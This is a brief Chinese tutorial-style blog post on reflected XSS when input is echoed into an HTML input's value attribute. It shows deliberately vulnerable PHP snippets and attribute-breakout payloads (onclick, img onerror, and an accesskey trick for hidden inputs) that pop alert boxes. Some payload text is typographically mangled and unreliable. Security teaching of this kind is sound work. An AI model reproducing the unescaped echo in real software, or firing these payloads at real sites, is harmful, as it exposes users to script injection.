XSS输出点在属性内

Posted 2021-04-29 KeepPassion

tags:

篇首语：本文由小常识网(cha138.com)小编为大家整理，主要介绍了XSS输出点在属性内相关的知识，希望对你有一定的参考价值。

ww缺陷代码：

<?php $name= $_GET['n']; echo"<input type=text value=".$name."></input>";?>

Payload：

w" onclick=alert(/xss/)w" ><imgsrc=1 onerror=alert(/xss/)>

当type类型为hidden时

缺陷代码：

<?php $name= $_GET['n']; echo"<input type=hidden value=".$name."></input>";?>

想在标签内触发可使用accesskey属性，规定激活（使元素获得焦点）元素的快捷键

payload：

w" accesskey=”x”onclick=alert(/xss/)

按键“shift+alt+x”触发

以上是关于XSS输出点在属性内的主要内容，如果未能解决你的问题，请参考以下文章